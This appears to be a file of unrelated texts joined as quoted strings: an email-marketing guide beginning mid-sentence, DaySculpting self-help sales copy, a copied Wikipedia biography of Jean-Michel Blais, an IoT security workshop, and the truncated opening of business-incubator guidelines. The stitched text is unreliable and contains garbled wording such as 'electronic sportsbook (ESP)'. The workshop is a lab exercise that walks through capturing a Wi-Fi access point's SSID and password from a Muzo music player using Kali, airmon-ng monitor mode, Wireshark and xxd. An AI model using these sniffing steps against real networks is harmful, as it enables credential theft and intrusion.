are the three main focuses of modern email\nmarketing, which has shifted away from sending out generic mass mailings and toward a\nmore targeted approach. Although it might sound like a time-consuming process,\nmarketing automation actually takes care of the majority of the hard work for you. Not\nonly does a well-designed strategy for email marketing help drive sales in the long run,\nbut it also assists in the development of a community that is centered on your brand.\n\nTypes of marketing emails\nEmail marketing can take the form of promotional messages, informational emails, or\nemails that serve a speci c function in the buyer\'s journey.\n\nPromotional emails\nEmail marketing campaigns can be used to promote limited-time sales and discounts,\nnewly released products, gated content such as ebooks and webinars, and your brand in\ngeneral. A campaign might include sending anywhere from three to ten emails over the\ncourse of several days or weeks.\nEmails used for marketing purposes always include a distinct "call-to-action," or CTA for\nshort. The call to action (also known as the CTA) is the speci c action that you want the\nreader to take, such as viewing a particular page on your website or making use of a\ncoupon to make a purchase.\nThe frequency with which you send out emails of this kind is typically determined by the\nsales and marketing cadence of your company. It\'s possible that you\'ll send multiple\npromotional emails within the same twenty-four-hour period during crucial times of the\nyear like Black Friday. There might be a gap of a few weeks between each of your\npromotional campaigns depending on when in the marketing calendar slower periods\noccur.\n\nInformational emails\n\nNewsletters: As the word "newsletter" suggests, the purpose of a newsletter is to\ndisseminate information concerning your company. Consider having reached new\nmilestones, introducing new product capabilities, or highlighting valuable content such as\ncase studies. Newsletters, especially those that are sent at regular intervals (weekly, bi-\nweekly, or monthly), help maintain consistent touch points with the email subscribers you\nhave.\nHowever, were you aware that newsletters don\'t necessarily need to be about news?\nListen to what email guru Ann Handley has to say and concentrate on the letter aspect.\nImagine that you are writing a letter to each of your subscribers individually about a topic\nthat pertains to something that interests them.\nTo put it more simply, a newsletter is an opportunity to share insights, thoughts, and tips\nwith your audience. This could be anything that they nd valuable.\nEmail is the ideal medium for disseminating information to customers regarding company\nannouncements, new product releases, modi cations to the service, and other similar\ntopics.\nEmail is the primary mode of communication for vital messages the vast majority of the\ntime. Keeping in touch with your contacts through email is the most e ective method of\ncommunication in the event that there is a problem with your website, a holdup in the\nshipping process, or an interruption in your system or software. It is safe, it can be done\ninstantly, and it can have the same level of formality as the most important announcements.\n\nRe-engagement emails\nThe re-engagement email is an additional type of marketing email that is very important.\nRe-engagement emails, which are exactly what they sound like, are used to re-establish\ncommunication with clients or subscribers who have become inactive in recent times.\n\nWHY EMAIL MARKETING IS IMPORTANT\n\nEmail is not a recently developed technology. In point of fact, it was one of the very rst\ndigital communication methods to be developed and introduced in the year 1971.\nHowever, despite having been around for half a century, email marketing is more popular\nthan it has ever been.\nIt\'s possible that you\'re wondering to yourself, "Do people really still use email?" Isn\'t it true\nthat social media marketing is where it\'s at these days?" Even though it\'s true that social\nmedia is an essential channel for any digital marketing strategy, email has a number of\nbene ts that set it apart from the competition.\nTo begin, marketing campaigns conducted via email allow for a greater degree of\npersonalization than those conducted via social media. Next, the costs of email marketing\nare signi cantly lower than those of other channels, which is especially advantageous\nwhen one considers the scope of the audience and the percentage of leads that are\nconverted. This is one of the many reasons why email marketing is such a good t for\nsmaller companies.\nIn conclusion, what makes email marketing so e ective and lucrative is the fact that it\nprovides you with direct and individual access to the inboxes of your target audience.\n\nHow to Do Email Marketing\n\nWhen it comes to sending promotional emails, companies make use of a category of\nsoftware known as email service providers, or ESP.\nA software that facilitates the sending of and management of email marketing campaigns\nis known as an email service provider.\nIt is also referred to as an email marketing service, an email marketing tool, and email\nmarketing software. Other names for it include an email marketing platform.\nYou may be thinking at this point, "Why can\'t I just use my regular email service provider\nto send out marketing emails?" Do I truly require the additional expense of purchasing a\nproduct on top of that?\nIt is feasible from a technical standpoint. However, exercise caution. There is a high\nprobability that you will experience di culties with your restricted email bandwidth,\ndesign, and most importantly, email deliverability. This is why:\nInternet Service Providers (ISPs) such as Gmail, Outlook, Yahoo, and the like were created\nfor individual use and are not suitable for sending out mass emails. They do not, despite\nthe fact that they are free to use, come with a free bulk email sender. Therefore, when a\nmass email is sent from an Internet service provider (ISP), it is very easy for spam lters to\nidentify it as spam, and your account could be disabled for suspicious activity.\nOn the other hand, email service providers (ESPs) have the infrastructure necessary to\nensure good email deliverability rates. This refers to the ability to successfully deliver\nemails to the inboxes of your subscribers. Investing in a dedicated email marketing service\nis the best way to ensure that your email marketing e orts are successful from the very\nbeginning.\nHow to choose an email service provider\nBecause there are hundreds of ESPs available, it can be challenging to determine which\none is best for your company.\nSendinblue, Mailchimp, Constant Contact, Convertkit, Mailjet, Mailerlite, and HubSpot are\namong the most widely used options. Mailjet, Mailerlite, and HubSpot are also among the\nmost widely used.\nHere are some questions to help narrow down your options:\nWhat’s your budget? If it’s very limited, then cheap email marketing services should be your starting point.\nWhat kind of emails do you plan to send, and how often? This’ll give you an idea of your required email volume (i.e. number of email sends).\nIf you’ve already got a list of opt-in contacts, how many are there?\nWhat’s your skill level when it comes to designing emails? If you’re a complete beginner, you’ll want a drag-and-drop email editor. Email templates will also come in handy. On the other hand, if you prefer to code emails from scratch, you’ll be on the lookout for an HTML editor.\nDo you plan to set up automated email work ows? See what the ESP o ers in terms of email marketing automation. Some solutions only o er basic autoresponders.\nIf your business communicates with di erent buyer personas, what contact list segmentation capabilities are o ered?\nWill your business be sending transactional emails? (Note that these are not considered email marketing.) Some folks like to manage these emails with a separate service, while others prefer all emails under the same roof.\nYou should also give some thought to the requirements of the future. Have you settled on\na preferred ESP? Run some simulations with the following question: "How much will this\nESP cost if my list grows to x?" Does this electronic sportsbook (ESP) have the feature set\nto support me if I want to add x to my strategy? What kinds of integrations and applications am I going to be able to add on?"\nIt\'s healthy to have a positive outlook on the future, but try not to get too carried away\nwith it. Obviously, you need to maintain your attention on what really matters for the time being.\nHow to get email lists for marketing\nYou won\'t be able to send email campaigns if there is no one to send them to, so it\'s time\nto start building a list of active subscribers who have opted in to receiving your messages.\nThat\'s right, you have the option to opt in. Because here\'s the thing about email contacts:\nEvery person on your email list needs to have given their express permission to be there\nin order to be included there.\nWhat exactly does that entail?\nWhen someone enters their email address into an email signup form on your blog,\nwebsite, landing pages, social media, or anywhere else, it indicates that they have\nconsented to receive emails from you in the future. "Opt-in" is the term used to refer to this\ntype of consent when discussing email. (What you mean by "opting out" is the same thing\nas "unsubscribing.")\nWhen it comes to complying with data protection laws and protecting the reputation of\nyour brand, permission-based marketing is an absolute necessity. After all, nobody likes a spammer\nBecause this is a fairly non-negotiable aspect of email marketing, the vast majority of\nESPs enable you to create signup forms so that your subscriber list can grow in a natural way.\nThe following is a list of tried-and-true methods for organically expanding your email list:\nAdd signup forms to your website and other places\nPut your email newsletter signup form in places where it will be seen by a lot of people\nand people will de nitely see it.\nBlog posts, the homepage, and the contact page are three common places where\nsubscribers can nd subscription forms. The addition of a pop-up form to your website is\nanother good idea to consider pursuing. Just make sure that the user experience is not\nsigni cantly altered by your changes. The use of pop-up windows that prevent visitors\nfrom accessing your website is a major turno . (Think of your signup form placement like\nyour call-to-action placement.)\nShare forms on social media by including a link in your bio or posts.\nMaintain or operate an e-commerce or online store? Include an option to sign up for the\nnewsletter as part of the process of checking out.\n\nUse lead magnets\n\nPremium content is the single most important factor in the growth of a list.\nThe distribution of password-protected content such as ebooks, reports, checklists, or\ninfographics can be an e ective means of expanding your contact list. In exchange for\nsigning up for your newsletter, visitors receive helpful content from your website. It\'s a win\nfor both sides! Check out these tips and tricks for content marketing to get additional\nideas and motivation!\nProviding people with unique opportunities to save money and sign up for your mailing\nlist is another excellent strategy. If you sign up for the newsletter of the clothing brand\nMango, for instance, you can receive a discount of ten percent on your very rst purchase.\n\nHow to design a marketing email\nCreating a design for an email does not have to be challenging or overly technical. You\ncan easily create stunning and professional marketing campaigns by using an editor that\nworks using a drag-and-drop interface.\nIt is not necessary to become preoccupied with the process of composing fancy and\nintricate emails. Creating an email that accurately represents your company\'s brand, in\nwhatever form that may take, should be your primary focus when composing electronic\ncorrespondence. In most cases, this entails maintaining a straightforward approach. You\nwill undoubtedly be able to improve upon this in the not-too-distant future.\n\nSave time with pre-made email templates\nEmail marketing templates are the ideal short cut to outstanding email design, and they\nare suitable for use by both novices and seasoned professionals.\nJust pick one you like. Adjust the colors and font to correspond with the aesthetic of your\nbrand. After that, you can recycle it for use in future email newsletters. Keeping the\ncontent current is all that will be required of you. Simple and uncomplicated!\n\nHow to write your email copy\n\nYour email copy needs to provide value, highlight topics that are interesting to your\naudience, and embody the tone of voice that your brand uses.\nTo write email copy that is persuasive and engaging, keep the following tips in mind:\nAsk yourself, “What does my audience need from me? How can I help?” Imagine you’re writing to one person.\nShow your brand personality. Tell a story.\nWrite to instill curiosity, starting with the email subject line — more on that below. Use a conversational tone and write the way you speak.\nBreak up the copy with short paragraphs and use bullet points where possible.\nUse the name of a real person for the email signature instead of a faceless brand logo.\n\nWhen is the best time to send a marketing email?\n\nBe strategic when selecting the day and time to send your emails, rather than picking\nthem at random. Consider what you already know about the people who will be viewing\nyour presentation, and decide on a time that will be most bene cial for them.\nAccording to the ndings of some studies, email marketing campaigns have a greater\nchance of being successful when they are distributed on Tuesdays or Thursdays at\napproximately ten o\'clock in the morning or in the afternoon at approximately three o\'clock in the afternoon.\nHowever, what is successful for the majority of people may not be successful for you. It is\nessential to conduct experiments at a variety of times in order to determine the optimal\ntime for your audience.' +'here is part 1\n\n----\nDaySculpting is a program that that deals with YOUR immediate future….It is a 90 day program that teaches U how to create Success… one day at a time…today…\nUsing recent breakthroughs in the field of neuroscience, the study of the human brain, DaySculpting is one of the most powerful success systems on earth for creating what I call… \n"Your Epic Ideal Day" -- And when U have Epic Ideal Days? U create your EPIC IDEAL LIFE.\n\nDaySculpting is broken down into 3 easy to accomplish segments throughout your day…\n~The Morning Lift Process…which sets U up with a MindState of Success and a design for U to follow throughout your day…There is a morning email…SMS text…Inspiring Video…Future Forward Tuning IN…And a 3 step Success Step Declaration Process…this only takes 15 minutes…\n~Mid-Day Reconnect Process…whatever your miid-day is…U are encouraged to stop doing what U are doing and disconnect so U can re-connect…by listening to a 5-minute Tuning In Re-Connection. We know that somewhere in the middle of our day it’s easy to lose momentum and drift from our best intentions because of all the demands on our attention. It has been scientifically proven that when U disconnent for between 3 to 5 minutes at the midpoint of your day….your brain resets…and your energy is replenished…I like to call it a MindState Re-Boot that will inspire U to re-ignite your imagination…this only takes 5 minutes\n~Highlight And Insight Review Process…we all review our day however what DaySculpting \nanchors for U is an activation and integration process that gets U to see your day as being successful…by celebrating your successes (your highlights) and being present to things U could have improved on (your insights) so U can make your insights into highlights..most people when they review their day fail to celebrate even the smallest increments of success…they focus on what they didn’t do and that puts them in a negative energy…Success has challenges and the\nhighlights and insight process encourages and empowers U to honestly see what U are doing each day so U Sculpt new MindStates Of Success rather than the energy of uncertainty…\nthis takes 10 minutes\n\nThe whole DaySculpting process takes 30 minutes a day…and as I always say if U don’t have \n30 minutes to change your life then U don’t want to change your life and U are okay with living \na mediocre life…\n\nDay Sculpting is about targeting specific Chief Aims U have for your life…and creating the Habits that will get U there…Imagine being able to replace the MindTraps (your limiting beliefs) with empowering rituals and habits that become your new normal…\n\nThrough the repetition of doing the daily DaySculpting process U are carving into your Subconscious memory thoughts, beliefs and actions that result in U sculpting the masterpiece known as U…\n\nThere are many programs out there that attempt to instill new success behaviors however many fall short of actually shifting your MindStates into a frequency of possibility where U get to actually see your daily results immediately…DaySculpting does this…\n\nThis is not science fiction… and it\'s not wishful thinking, or some tired old self-improvement, goal-setting program… DaySculpting is a program that empowers U to manifest and realize your Chief Aims in life\n\n"DaySculpting" -- is a tool that takes just MINUTES a day for you to use…\n\nIt is designed to FREE UP hours in your day… while at the SAME time empowering you for greater success in ANY area of your life.\n\nDaySculpting sheds light and solves an age-old problem:\nWHY we often fight against the very changes we desire to make\n\nHave you ever experienced the FEELING that you deserve MORE out of your life? More financial freedom and greater rewards from the hard work you do every day? Deeper, more empowering relationships with those you love… or maybe just meeting that special someone to share your life with? Perhaps you crave a deeper spiritual connection… or a more healthy, trim, energetic body?… \nYET:\nDespite your BEST intentions… you struggle. Perhaps if you\'re anything like me, you even self-sabotage your results with actions that you KNOW are not in your best interest.\n\nMaybe it FEELS like it did for me: Like you are swimming upstream… making SOME progress, sure, but just not reaching your goals and desires fast enough.\n\nWell, I have wonderful news for you: It\'s not because you\'re lazy… and it\'s not because you are not smart enough, competent enough… or ANYTHING enough! \n\nThe real REASON you desire more and are not seeing ALL the results you deserve lies within whether the Success Switch in your brain is in the ON or OFF position…\n\nThe SOLUTION… THE ANSWER to flipping your Success Switch back ON lies within the simple daily steps U will take when U experience the DaySculpting Program… \nThe Day Sculpting Program Is A Simple Step Daily Success RITUAL \u2028 That Shuts Down Your Body\'s Failure Reflex \u2028 So YOU Tap Into Your Brains Success Centers…\u2028 In Just Minutes A Day!\u2028\u2028 IIMAGINE Knowing What HIGHLY SUCCESSFUL \u2028 People Do EVERYDAY…\nFor Abundance And Wealth, Greater Health, Self-Confidence Meaningful Relationships, Sharper Focus , Deeper Joy…\u2028 And So Much More…\n“Now You Too Can Use This 90-Day Game Changer\u2028 To Tap Into The Key Success Centers Of Your Mind,\u2028 And In Just Minutes You Can Transform Even Lousy Days\u2028 Into Days Filled With The Results You Desire – Guaranteed!”\nTO MAKE A GREAT LIFE, ALL YOU HAVE TO IS MAKE EACH DAY A GREAT DAY … \nThen get up tomorrow and do the same thing, day after day after day.\nARE YOU Ready To Change YOUR LIFE One Day At A Time…\nThe comprehensive, fun and empowering 90-day DaySculpting program provides you with the life skills and tools to help you master a new MindState of Success and a range of powerful life-changing rituals and habits that will Sculpt Your Perfect Days Into A Great Life.\nDAY SCULPTING WILL TEACH YOU:\n• The science behind HAVING A MindState Of Success...and why most people who want more in life actually have their success switch turned off by total accident!\n• How to get more done with more time and more energy left over!\n• The simple, yet powerful, process of building a powerful day so you create a series of "Dynamic Days" - days that will end up building your most incredible life (The one you always thought was out of reach!)\n• Learn the \'Day Sculpting Principles\'. These can have a huge impact on you your life, but when you learn how simple they really are, you can use them easily and consistently!\n• How in just a few minutes a day, you can keep positive results flowing and put your success energy into a permanent \'ON\' position!\n• And much more!\nDaySculpting, is for those who are willing to take their life to the next level by creating new Success Habits replacing the ones that have been sabotaging your success. \nSo make sure you can honestly agree with the following before experiencing DaySculpting:\n• You desire more out of life, yet feel as if you are "missing something" -- that special "X Factor" to take you to the next level?\n• You are brave enough to boldly say, "I want greater wealth and financial freedom... and I demand the best lifestyle possible for me and my family!\n• You know the value of joy: You want to experience greater happiness, peace of mind, and connection with your friends and loved ones on a daily basis.\nIf you agree with the above, and truly want to create the best life possible, with greater wealth, freedom, happiness, love, and fulfillment, then I invite you to experience the power of Day Sculpting …it will change the way you think about creating your day and the life you dream about. \nI am not encouraging you to become busier but rather to use your mental and emotional, energy more elegantly sculpting your day the way you want it to be. \nHow many times have you done a ton of work and still felt that you didn’t accomplish what you really wanted for yourself. Week after week, month after month go by and you still are no farther ahead of the game…stuck in the status quo that never seems to change.\n\nBreaking free means that the status quo of your life has to change… your habits of expectation have to change …your mindset has to change…you have to uncover those old behaviors that have held you back and be willing to create a new mindset.\n\nYou have to be willing to shift your daily focus inwards towards what you need to do today rather than tomorrow. Because when you create a great day today you welcome in a more powerful tomorrow.\n\nWe all have the same 24 hours each day. But why are some people building fabulous careers, achieving healthy lifestyles, enjoying great relationships and incomes, living their passions, and creating what they truly desire as a life?\n\nImagine that you could clear away the distractions that you unconsciously create. You know the stuff that consumes your time causes stress and disconnects you from your purpose and passion. \n\nImagine every day you embrace the energy for what you are choosing to create in your life. Your thoughts empower you, your choices inspire you and your actions create momentum, opportunity and possibility.\n\nYou can create a GREAT LIFE, the life you want to live by focusing your efforts on Creating a Great Day Today. That’s Day Sculpting. Seven intentional sculpted days turn into a month of wonderful weeks and a year of magnificent months creating an amazingly successful life.\n\nNone of this is going to work though if you believe that what you were born with is all you will get…\n\nNo one will ever attempt to do something when they are convinced that they will fail.\n\nResearch has shown that the brain will actually stop itself from doing what’s necessary to succeed if a person believes that they cannot succeed.\n\nIt’s the small concrete indicators of success today that will prove you can have whatever it is you want and the process of Day Sculpting will empowers, inspire and motivates you each step of the way.\n\nYou see: Confidence + Discipline = Desired Outcomes \n\nIt’s time to stop looking at your life from a fear based I don’t know how to mindset but rather be open to creating a solutions focused change consciousness that embraces your gift and talents and encourages you sharing them.\n\nLet me share a bit of nuero-chemistry with you…\nWhat fires together wires together…\n\nSo rather than Fall back on old habits…\nTake the transitional step…of being fully present to whats trying emerge as your ideal future and to help it along start building confidence each day…\n\nAnd your possibility muscle and an intended thought process that leads to a more focused and clear out picturing of your desires.\n\nYou see...It’s one thing to set goals and to make to do lists and to say your going to use the law of attraction to manifest what you want in life…\n\nI’m still looking at the many lists I have created.\n\nWhat it’s really about is having a clear and purposeful intention in order to create the energy and the MindState Of success that will propel you into action.\n----\n\nWhen done ask me for part 2' +'Please read JMB\'s wikipedia: Jean-Michel Blais\nFrom Wikipedia, the free encyclopedia\nJump to navigationJump to search\nJean-Michel Blais\nBlais in 2018\nBlais in 2018\nBackground information\nBorn 1984 (age 37–38)\nOrigin Nicolet, Quebec, Canada\nGenres \nMinimalistavant-gardeneoclassical\nInstrument(s) Piano\nYears active 2015–present\nLabels Arts & Crafts\nWebsite jeanmichelblais.com\nJean-Michel Blais (born 1984) is a composer and pianist from Quebec, Canada.\n\nHis music is influenced by a range of composers and pianists such as Frédéric Chopin, Sergei Rachmaninoff, Maurice Ravel, classical minimalists (Steve Reich, Philip Glass, Erik Satie), and modern composers such as Chilly Gonzales and Yann Tiersen. English pop singer Ellie Goulding has cited Blais as an inspiration for her fourth album.[1]\n\nHis debut studio album Il was released in April 2016 on Arts & Crafts, garnering critical acclaim, including making Time magazine\'s top ten albums of the year list.[2] In 2017, he collaborated with Grammy-nominated English-Canadian electronic artist CFCF on the EP Cascades. His sophomore album, Dans ma main, was released on 11 May 2018, also on Arts & Crafts, and on 30 November 2018 Jean-Michel released Eviction Sessions.\nContents\n1 Early life\n2 Career\n2.1 2016: Il\n2.2 2017: Cascades\n2.3 2018: Dans ma main\n2.4 Eviction Sessions, Matthias & Maxime, and Aubades\n3 Discography\n4 References\n5 External links\nEarly life\nJean-Michel Blais grew up in the rural town of Nicolet, Quebec.[3] As a young boy, his parents influenced his love of music. While not serious musicians, his father sang in a choir as a child, and his mother would play the organ.[4] Blais began his musical adventures by "drumming with pots and pans [and] mix-taping Radio-Canada "world" music, traditional, Celtic, [Andean], and Eastern European [music]".[3]\n\nAs a teenager, he took piano lessons, eventually studying at the Trois-Rivières Music Conservatory. However, he found the academic world of music exhausting and restrictive, so he left after two years to travel.[4]\n\nHe travelled to Guatemala, spending several months there working at an orphanage.[4] Looking again for a change, he then moved to Berlin for a year, and then went to South America, spending time in Buenos Aires, Argentina. Finally, Blais decided to settle in Montreal, pursuing a career as a special education teacher.[5] He completed a degree in liberal arts with a minor in psychology while focusing his studies on special education. After graduating, he worked with children with disabilities and behavioural disorders for five years at CEGEP level.\n\nCareer\n2016: Il\nWhile working in special education, Blais slowly rediscovered a fondness for improvising and composing. Blais constructed his debut album, Il, over the course of two years. It was recorded in two days in Blais\' apartment with a Zoom recorder, allowing the ambience of his apartment to come through on the recording.[4]\n\nIf people are going to cough and babies are going to cry, instead of trying to hide it, why not embrace it? I like it when I stop and there\'s something happening outside my window. I think that\'s why my music has a lot of pauses and silences, because there\'s always something happening in the street. I\'ll let it pass and then continue playing.\n\n—\u2009Jean-Michel Blais in an interview with the Montreal Gazette[6]\nBlais communicated via Facebook with his friend Devon Bate, credited on the album as BUFFLO, to mix the album. The recording was done in such a manner that the listener feels surrounded by the music.[7] Blais originally released the album via Bandcamp in 2015, where it was discovered by Arts & Crafts, and subsequently given a proper release on 8 April 2016. Arts & Crafts also released the sheet music for the album, along with a deluxe edition featuring two bonus tracks that was released in October 2016.[8] The album was widely acclaimed, ranking 10th on Time Magazine\'s Top 10 Albums of 2016.[2] Exclaim! gave the album 9/10, writing, "Simply put, Il is a masterpiece."[9]\n\n2017: Cascades\nMichael Silver (a.k.a. CFCF) and Blais first collaborated when the Red Bull Music Academy sponsored a live performance featuring the two artists. Blais and Silver found that they lived around the corner from each other, then started finding similarities in their music and composition style.[10] Cascades features two songs each of their solo works, reworked as a duo, and a cover of John Cage\'s In a Landscape (1948).\nI thought [Jean-Michel\'s music] was beautiful... I just loved it a bunch, especially because it\'s so different from a lot of the other piano music that I had tended to listen to...\n\n—\u2009Michael Silver (CFCF)\nCascades was also met with critical acclaim. For Pitchfork, Andy Beta opined that it "finds Silver and Blais warily feeling one another other out and then synchronizing to exalted effect by the record\'s end," and called the duo\'s version of "In a Landscape", "one of the most unequivocally gorgeous covers imaginable".[11] Exclaim! also highlighted Blais and Silver\'s chemistry, reasoning that "Blais\' playing suits very well the pristine and glossy production Silver employed for those recordings, injecting it with a real sense of purpose here," giving the album an 8/10.[12]\n\n2018: Dans ma main\nDans ma main is Blais\' sophomore solo record, released via Arts & Crafts on 11 May 2018. Exclaim! gave the album 9/10 in an early review, writing "Far from spiralling inward, as always, Blais lets it all flow through him, and as private becomes public, the result is yet another intimate masterpiece".[13] On the album, he experiments with different synth and electronic textures, a concept introduced to him while working with CFCF.\n\nBlais explained in a conversation with CFCF and Red Bull Music Academy, "I never want to lose contact with the original piano instrument, but we have so many tools now to treat it differently than to just have the instrument on its own, so why not use them, and how? It certainly is opening. It gives me sounds and texture possibilities".[14] The album was a shortlisted finalist for the 2018 Polaris Music Prize.[15] In August 2019, Blais released an EP of remixes of Dans ma main.[16]\n\nEviction Sessions, Matthias & Maxime, and Aubades\nEviction Sessions is Blais\' third project, released via Arts & Crafts on 30 November 2018. Eviction Sessions was inspired when Blais was informed he would be evicted from the apartment where he had lived for seven years due to gentrification within his Montreal neighbourhood. This was the same apartment in which Blais recorded his first album of instrumental music, Il. [1]\n\nIn October 2019, Blais released the soundtrack to the Canadian film Matthias & Maxime. He received special mention at the Cannes Soundtrack Award in May of the same year.[17]\n\nIn February 2022, Blais released the album Aubades.[18] The album won the Félix Award for Instrumental Album of the Year at the 44th Félix Awards; it was also nominated for Bestselling Album of the Year, and Blais was a nominee for Most Successful Artist Outside Quebec.[19]\n\nDiscography\nStudio albums\n\nIl (2016)\nDans ma main (2018)\nAubades (2022)\nSoundtracks\n\nMatthias & Maxime (Original Motion Picture Soundtrack) (2019)\nEPs\n\nCascades with CFCF (2017)\nEviction Sessions (2018)\nDans ma main (Remixes) (2019)[20]\nSingles\n\n"Nostos" (2016)\n"il" (2016)\n"roses" (2018)\n"blind" (2018)\n"forteresse" (2018)\n"outsiders" (2018)\nAppearances\n\n"Lullaby" Playing House (Common Holly, 2017)' +'IoT Security, Introduction + Muzo Password Stealer\n1\nCapture WiFi Access Point Credentials using the IoT Muzo Music Player\nThis workshop is based on the use of the Muzo Music Player IoT device. The intention is not to steal\nmusic! Rather the actual device is rather incidental and many an IoT device could have been used. It\njust happens that music players are in very common use. The intention here is to use this device to\nextract an SSID + password of the Access Point to which this – and many IoT devices as well as other\ncommonly used computer equipment is likely to be connected.\nThus this workshop is designed to demonstrate the principles by which an Access Point’s credentials\ncan be obtained by rebooting an IoT device and using WiPi and Kali to capture the SSID + password\nduring the initial open connection before WPA/WPA2 security kicks in. The procedures here are\ncommon to many IoT devices – even if you are doing these experiments in a different order.\nAccess to a Wifi Access Point which operates a home or small business network is a significant\nsecurity risk as the same SSID/password supports a variety of Internet services so this workshop acts\nas a stepping stone to the other IoT workshops in this group.\nMost IoT devices – including this Muzo music player – have their own Access Point and Web Server.\nWe will use an Android to connect to its Access Point and then fire up its web server and nominate\nthe Access Point (usually one which drives the home network) to which we want to be connected. At\nthis stage we have to tell this IoT device what SSID and password we want it to use so that\nsubsequent communication can run over WPA/WPA2 security.\nEquipment used for capturing the Wi-Fi Access Point credentials via an IoT device\nIoT Security, Introduction + Muzo Password Stealer\n2\nThe following steps are:\n1. Plug Muzo into your computer or any power source using the USB cable.\n2. Startup a Wifi Access Point (use the Watchguard Access Point/Firewall) and make sure that\nyour Android can connect to it and check the DHCP address provided by this Access Point.\nLikely to be something like 204.137.98.162 (or similar). Use the Advanced button to verify\nthe IP address.\n3. Start-up the VM: Kali Linux Backtrack IoT Version. Login as root/toor\n4. Make sure that the WiPi dongle is connected to this VM (VM > Removable Devices >\nConnect) and from a terminal window enter iwconfig and you must see an interface up such\nas wlanx\n5. When Muzo is powered up there are two methods for doing a factory reset.\n6. The first method is to press the WPS/reset button for 8 seconds. Don’t press this button and\nplug in at same time as is commonly done when resetting some IoT devices.\nNow skip to Step 10 below\nUnless step 6 did not work you do not need to do steps 7, 8 and 9 below\n7. The second method is to go to the Muzo app\n8. Get Device List and select “cog button”. The screen we should see is not the one to add a\ndevice but one in which the cog appears.\n9. Go to Speaker Info option > Restore Factory Settings\nhttps://muzo.zendesk.com/hc/en-us/articles/208524038-Initiating-a-factory-resetSee descriptions and diagrams below.\nIoT Security, Introduction + Muzo Password Stealer\n3\n10. Next – from Settings on the Android you should see an Access Point under the SSID list\nentitled LinkPlayA31\\_5DF8 (LinkPlayA31 appears first but do not connect to this one).\nConnect to LinkPlayA31\\_5DF8 but it takes about a minute to appear in the Access Point list.\nThis (Muzo) Access Point should have DHCPed you an IP address for your Android of\nsomething like 10.10.10.128. At this stage this is an open (insecure) connection. The IP\naddress can be verified from Advanced option and then scroll down to see an IP address\ne.g. 10.10.10.128. Use the Advanced button to verify the IP address. Remember this IoT\ndevice has its own Wifi hotspot and web server!\n11. Since to sniff the wireless network, we do not want our WiPi wireless device to request an\nIP address and remain in stealth mode. Thus we need to kill the DHCP client process as\nfollows:\n12. From your VM using the command list on the desktop enter:\nIoT Security, Introduction + Muzo Password Stealer\n4\n13. ps -eaf | grep dhc to kill the dhcp client. This is further explained as follows:\nTo kill the DHCP client, enter:\nps -eaf | grep dhc\n(e: show every process on the system; a: except session processes; f: formatted output.\nSee man ps)\nThis command will search for all the running processes and filter those which start with\ndhc. By looking at the processID (1956 in this case, it may change in your case), then enter:\nkill -9 (9 means all levels and essentially kills the dhc process)\nDo not get confused with the ProcessIDs for root (2002 and 1650 in this example) as this is\nthe process that you are running to kill the dhcp client. You should end up with a single line\nwhich is the kill process you are running as below:\nroot 2002 1650 0 .........color=auto dhc\n14. Run the Wifi Analyser app on your Android to determine the channel number used by the\nLinkPlay31 Access Point as illustrated below\n15. Now from your Kali/Backtrack VM use the Wicd Network Manager (Green icon in top bar)\nto obtain an IP address from the same Muzo Access Point. Make sure that you have the\ncorrect wlanx specified under Preferences before connection. If Access Point refresh is not\nworking then restart the VM.\n16. Follow these configuration diagrams on the following page noting that this example is for a\nwlan3 interface (varies) and that this is an open (non-secure) connection at this stage.\nFollowing these steps you should be allocated an IP address for the Muzo Access Point of\nsomething like 10.10.10.129.\nIoT Security, Introduction + Muzo Password Stealer\n5\nIoT Security, Introduction + Muzo Password Stealer\n6\n17. Now the Android has an IP address of the form 10.10.10.128 and the Muzo’s Web Server IP\naddress is 10.10.10.254 which is very commonly used IP web server address for IoT devices.\n18. Now open a browser on the Android and connect to Muzo’s web server – 10.10.10.254.\n19. The next step is to configure your Kali VM to use WiPi to capture traffic in monitor mode in\norder to facilitate the capture of packets in a passive manner. This is done through the\napplication airmon-ng which can be started by entering the following command:\n20. airmon-ng start wlanx y (where y is the channel number – see from Wifi Analyser or\nfrom the LinkPlayA31\\_DF8 entry under the Wicd Network Manager list on the previous page).\nCheck to see if the Wicd connection has dropped as it often does so reconnect and continue.\n21. Wait a few moments for a response. This will enable monitor mode which means that this\nWiPi card can “hear” conversations even though it has not specifically been addressed. To\ncheck type iwconfig\n22. On your WiPi-Kali-Backtrack VM startup Wireshark (enter Wireshark in a new terminal window)\nand from Interfaces select the mon0 interface which will have been initiated in the steps above.\nTo get rid of a heap of broadcast traffic you will need to apply an http filter\n23. Thus once the connection from the Android to the web browser on the Muzo has been\nestablished, a list of possible Access Points is displayed and at this stage choose your preferred\nAccess Point to which your Android and Muzo would normally be connected to. The SSID and\nPassword for this Access Point are already stored and we want to capture these credentials as\nthey are transmitted using the WiPi and Wireshark. At this stage you need to tell the Muzo the\nSSID/password of this desired Access Point so that it can subsequently establish a connection.\n24. Since the connection between the Android and the web server is open this SSID/password can\nbe captured by your WiPi-Kali VM configuration. Unlike some of the other IoT experiments we\nare not asking Wireshark to carry out decryption.\n25. Although not necessary to play music at this stage, the Muzo will not be connected to the\nselected Access Point and the Android must be connected to the same Access Point and when\nthe app is started it should say “found 1 device” and from the menu “My Music” select a song.\nCreate an http filter and look for the POST command as in the diagram below.\nIoT Security, Introduction + Muzo Password Stealer\n7\nTo decode the hex there are two possibilities:\n1. If you have access to the Internet then use the Hex – ASCII converter at:\nwww.asciitohex.com\n2. Use the linux command line tool xxd which creates a HEX to ASCII conversion – or the\nreverse (-r)\necho “hexadecimal string” | xxd -r -p\n-p output in postscript plain hexdump style.\n-r reverse operation: convert HEX into ASCII.\nSee the following two examples:\nFor example (both case sensitive):\nSSID: 49 50 2D 46 6F 72 65 6E 73 69 63 73 \uf0e0 IP-Forensics - or whatever SSID of the Access Point is.\nPassword: 50 23 73 73 77 30 72 64 \uf0e0 P#ssw0rd\nNotes:\nWireless OFF in machine running Kali/Backtrack\nChannel 10 for AP and channel 11 for Muzo\nWhen we bring in a second Android nothing additional needs to be set up.\nNo Ethernet cable to the AP – Wicd to Muzo Access Point only\nTake earpiece for audio to plug into Muzo\nSamsung –Main has no songs loaded. There is a playlist on the Samsung A/P mobile.' +"REVISED OPERATIONAL GUIDELINES FOR LIVELIHOOD \nBUSINESS INCUBATOR (LBI) \n1. Introduction \nLivelihood Business Incubator (LBI) is an entity set up for imparting skii development & \nincubation programmes for promoting entrepreneurship and employment generation in agro-rural \nsector with special focus on rural and underserved areas. \n2. Objectives of LBI: \n• To generate employment opportunities by facilitating formal, scalable 